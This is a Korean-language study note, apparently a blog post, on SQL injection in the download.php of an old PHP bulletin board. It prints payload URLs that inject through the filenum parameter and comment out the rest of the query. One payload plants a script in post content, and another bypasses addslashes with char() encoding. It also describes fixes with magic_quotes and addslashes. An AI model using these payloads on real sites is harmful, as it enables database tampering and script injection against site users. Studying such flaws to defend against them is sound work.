1.SQL Injection


-SQL 쿼리를 삽입할 수 있는 취약점

-php,command,...injection


-php download 취약점



2.취약점 확인


1).게시판 페이지 소스코드 확인

download.php?

id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=14&filenum=1


2).download.php

mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");


여기에 변수 $t_board 에 대한 정보가 없으니 내부에서 정의 되어 있는지 확인해 보면 lib.php에 정의되어 있다


lib.php


-내부에서 정의(lib.php)

$t_board = "zetyx_board";


-외부에서 정의(GET)

$id=attack

$filenum=1

$no=14


mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'"); 

그럼 이제 이 쿼리 구문을 해석해 보면 아래와 같이 출력이 되고 
update zetyx_board_attack set download1=download1+1 where no='14'

실제로 실행되는 sql 쿼리를 확인하면 이렇게 나온다.



외부에서 정의된 3가의 변수 때문에 injection에 취약하다



4).취약점 검증

download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1

외부에서 정의된 값을 조작할수있다

update zetyx_board_attack set download1=download1+1 where no='27'



get 방식으로 접근하니까 다운로드를 클릭하지 않고 Downlad 가 1로 증가했다.




5).

download.php?

id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=100

update zetyx_board_attack set download1=100=download100+1 where no='27'

이 쿼리문은 뒤에 수식이 오류가 나지만 

만약 여기서 update zetyx_board_attack set download1=100 여기까지만 실행하고 이 뒷부분을 주석처리한다면  "=download100+1 where no='27'"

이 쿼리는 오류가 나지 않을것이다. 



6).주석:--,#,/* */ ->url_encoding (escape) ->%아스키 코드값


download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=100 %23

update zetyx_board_attack set download1=100 #=download100+1 where no='14'



[실습]

-download 취약점을 이용해서 게시글에 다음과 같은 스크립트를 삽입한다 

<script> alert('xss') </script>



download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=27&filenum=1=10, memo="<script> alert('xss') </script>" where no=27 %23


이렇게 보면 다운로드수를 조작하는거 같지만 이거 자체로도 벌써 DB에 접속할수 있다는 소리고 그럼 DB 다른 값들도 이런 방식으로 조작이 가능하단 소리이다 그래서 게시글 안 내용도 조작이 가능하다
게시글안 변수 이름은memo니까 memo안에 스크립트를 삽입해주고 그 뒤는 주석 처리를 해주면 오류 없이 SQL 인젝션을 수행할수있다. 




1.차단


1). string injection


-memo:쿼츠가 필요하다

-php 설정:magic_quotes_GPC(구 버전 에서만 사용이 가능하다)

/etc/php.ini


설정을 On으로 변경뒤  SQL 인젝션 공격을 수행하면 

update zetyx_board_attack set download1=10, memo=\"<script> alert(\'xss\') </script>\" where no=29 #=download1=10, memo=\"<script> alert(\'xss\') </script>\" where no=29 #+1

''앞에 \\\이 붙은걸 확인할수 있다 


위에서 말한 개념처럼 이방식은 구 버전 에서만 사용이 가능한데 요즘은 


addslashes() 함수로 차단해야한다 입력값 3개만 차단하면 된다

download.php

$filenum=addslashes($filenum);

$no=addslashes($no);

$id=addslashes($id);





3개의 입력값만 차단하면 인젝션은 막을수 있는데 이 변수 3개가 GET방식으로 외부에서 정의되는 변수이기 때문이다


addslashes() 는 데이터베이스 질의 등에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙인 문자열을 반환합니다. 이 문자들은 작은 따옴표('), 큰 따옴표("), 백슬래시(\), NUL(NULL 바이트)입니다.


2). numeric injetion


-filenum:쿼츠가 필요하지 않다




2.우회


    문자열을 입력할 때 꼭 ', "을 사용해야 하는가?

-쿼츠를 사용하지 않고 문자열을 입력할 수 있어야 한다.

-쿼츠를 사용하지 않고 문자열을 표현 ->mysql funtion, if,while

함수 https://dev.mysql.com/doc/refman/5.7/en/func-op-summary-ref.html



1.mysql> select ascii('x'); 으로 아스키 코드로 변조가 가능하다 


우선 내가 쓰고싶은 문자를 ascii 코드로 변조를 시켜야 한다

이런 방식으로 ascii 코드의 숫자 값을 알게되면 만약 test 가 116,101,115,116 이렇게 구성되어 있는데




이제 그 숫자를 다시 char를 사용해서 문자로 표현이 가능하다

*CHAR() 함수는 아스키 코드 값에 의해 주어진 문자로 구성되는 문자열을 반환 mysql 내장 함수이다 


mysql> select char(70,71,72,73);

+-------------------+

| char(70,71,72,73) |

+-------------------+

| FGHI              |

+-------------------+

download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=14&filenum=1=10, memo=char(116,101,115,116) %23


변경이 가능하다 





! 취약점 점검 -> 취약점이 있음을 증명

1).결과를 보고->취약하다: 귀납적 추론

2)원인을 보고 소스코드 분석



+ Recent posts